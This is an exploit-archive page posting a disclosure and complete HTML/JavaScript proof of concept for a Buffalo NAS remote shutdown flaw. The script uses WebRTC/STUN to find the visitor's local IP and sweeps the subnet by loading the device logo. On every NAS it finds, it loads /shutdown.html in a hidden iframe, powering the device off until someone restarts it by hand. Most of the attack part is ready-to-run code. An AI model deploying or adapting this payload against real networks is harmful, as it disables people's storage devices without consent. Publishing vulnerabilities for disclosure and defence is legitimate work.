what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Buffalo NAS Remote Shutdown

Buffalo NAS Remote Shutdown
Posted Jan 25, 2016
Authored by Zemnmez

Buffalo NAS devices suffer from a remote shutdown / denial of service vulnerability.

tags | exploit, remote, denial of service
SHA-256 | f99e8c369f01da7e80e9a7b0df078a3ffdd172d69408918d83065f4a607f1069

Buffalo NAS Remote Shutdown

Change Mirror Download
The Buffalo NAS device includes a web interface located at its IP address. A shutdown of the device can be initiated without confirmation by loading the endpoint /shutdown.html on this address. This shutdown powers off the device, requiring physical access to restart.

The shutdown webpage has no special X-Frame-Options set on it, allowing an attacker with the right knowledge to remotely disable the device through an iframe that an admin on the device loads.

I have demonstrated shutting down such a device remotely using STUN to locate the local IP address of the user and iterating on that IP address by requesting the Buffalo logo from these IP addresses. In the case where the user has recently accessed their NAS configuration panel, the logo loads instantly (from cache) and fires the onload event, which in turn triggers an iframe embed which shuts down the device.

Code: https://gist.github.com/venoms/5b5437e25e0bf3b49d0a

In short, the above code will scan for and remotely shutdown all vulnerable Buffalo NAS-s the viewer is authorized to configure in their local network.

Zemnmez

Thanks to Nathaniel "XMPPWocky" Theis for helping me streamline this exploit.

----------------------------
buffaloNASshutdown.html PoC:


<head>
<title>buffalo nas shutdown</title>
</head>
<body>
<iframe id="iframe" sandbox="allow-same-origin" style="display: none"></iframe>
<div id="output"></div>
<script>
var output = document.getElementById("output");
//stolen from https://github.com/diafygi/webrtc-ips
//under the MIT license
//get the IP addresses associated with an account
function getIPs(callback){
var ip_dups = {};
//compatibility for firefox and chrome
var RTCPeerConnection = window.RTCPeerConnection
|| window.mozRTCPeerConnection
|| window.webkitRTCPeerConnection;
var useWebKit = !!window.webkitRTCPeerConnection;
//bypass naive webrtc blocking using an iframe
if(!RTCPeerConnection){
//NOTE: you need to have an iframe in the page right above the script tag
//
//<iframe id="iframe" sandbox="allow-same-origin" style="display: none"></iframe>
//<script>...getIPs called in here...
//
var win = iframe.contentWindow;
RTCPeerConnection = win.RTCPeerConnection
|| win.mozRTCPeerConnection
|| win.webkitRTCPeerConnection;
useWebKit = !!win.webkitRTCPeerConnection;
}
//minimal requirements for data connection
var mediaConstraints = {
optional: [{RtpDataChannels: true}]
};
var servers = {iceServers: [{urls: "stun:stun.services.mozilla.com"}]};
//construct a new RTCPeerConnection
var pc = new RTCPeerConnection(servers, mediaConstraints);
function handleCandidate(candidate){
//match just the IP address
var ip_regex = /([0-9]{1,3}(\.[0-9]{1,3}){3}|[a-f0-9]{1,4}(:[a-f0-9]{1,4}){7})/
var ip_addr = ip_regex.exec(candidate)[1];
//remove duplicates
if(ip_dups[ip_addr] === undefined)
callback(ip_addr);
ip_dups[ip_addr] = true;
}
//listen for candidate events
pc.onicecandidate = function(ice){
//skip non-candidate events
if(ice.candidate)
handleCandidate(ice.candidate.candidate);
};
//create a bogus data channel
pc.createDataChannel("");
//create an offer sdp
pc.createOffer(function(result){
//trigger the stun server request
pc.setLocalDescription(result, function(){}, function(){});
}, function(){});
//wait for a while to let everything done
setTimeout(function(){
//read candidate info from local description
var lines = pc.localDescription.sdp.split('\n');
lines.forEach(function(line){
if(line.indexOf('a=candidate:') === 0)
handleCandidate(line);
});
}, 1000);
}

function foundNAS(ip) {
output.innerText += "Bingo! NAS at " + ip + "\n";
var i = document.createElement("iframe");
i.setAttribute("style", "display:none");
i.setAttribute("src", "http://" + ip + "/shutdown.html");
output.innerText += "Shutting it down now... This will fail if you're not logged in."
document.body.appendChild(i);
}

var groupSize = 50;

//Using STUN, we locate the local ip address of the user
// we make sensible guesses that the NAS is in the same simple local network
getIPs(function(ip){
//local IPs
if (ip.match(/^(192\.168\.|169\.254\.|10\.|172\.(1[6-9]|2\d|3[01]))/)) {
output.innerText += "Found IP " + ip + "\n"
// shotgun this ip
var pre = /^([\d\.]+\.)\d+$/.exec(ip)[1];

output.innerText += "Searching " + pre + "*\n"
var i = 0, ed = 0;
//try a block of 50 NAS guesses
var sweep = function() {
ed = i + groupSize
var donect = 0;
var done = function() {
donect += 1;
if (i > 253) return;
if (donect == groupSize) sweep();
console.log(i);
}
output.innerText += "Searching " + pre + i + "-" + ed + "\n"
for(;i<ed;i++) {
var el = document.createElement("img");
var n = i;
el.setAttribute("style", "width:1em; height:1em;display:inline;border:1px solid red");

// logo loaded; must be NAS
el.addEventListener("load", function(){
done();
this.setAttribute("style", "display:block");
foundNAS(/(?:\d+\.){3}.\d+/g.exec(this.src)[0]);
});

// logo did not load; not NAS
el.addEventListener("error", function() {
done();
this.parentNode.removeChild(this);
});
el.setAttribute("src", "http://" + pre + i + "/img/common/forlink/header-logo.gif");

document.body.appendChild(el);
}
}
sweep();
}
});
</script>

Login or Register to add favorites

File Archive:

May 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    44 Files
  • 2
    May 2nd
    5 Files
  • 3
    May 3rd
    11 Files
  • 4
    May 4th
    0 Files
  • 5
    May 5th
    0 Files
  • 6
    May 6th
    28 Files
  • 7
    May 7th
    3 Files
  • 8
    May 8th
    4 Files
  • 9
    May 9th
    53 Files
  • 10
    May 10th
    12 Files
  • 11
    May 11th
    0 Files
  • 12
    May 12th
    0 Files
  • 13
    May 13th
    0 Files
  • 14
    May 14th
    0 Files
  • 15
    May 15th
    0 Files
  • 16
    May 16th
    0 Files
  • 17
    May 17th
    0 Files
  • 18
    May 18th
    0 Files
  • 19
    May 19th
    0 Files
  • 20
    May 20th
    0 Files
  • 21
    May 21st
    0 Files
  • 22
    May 22nd
    0 Files
  • 23
    May 23rd
    0 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close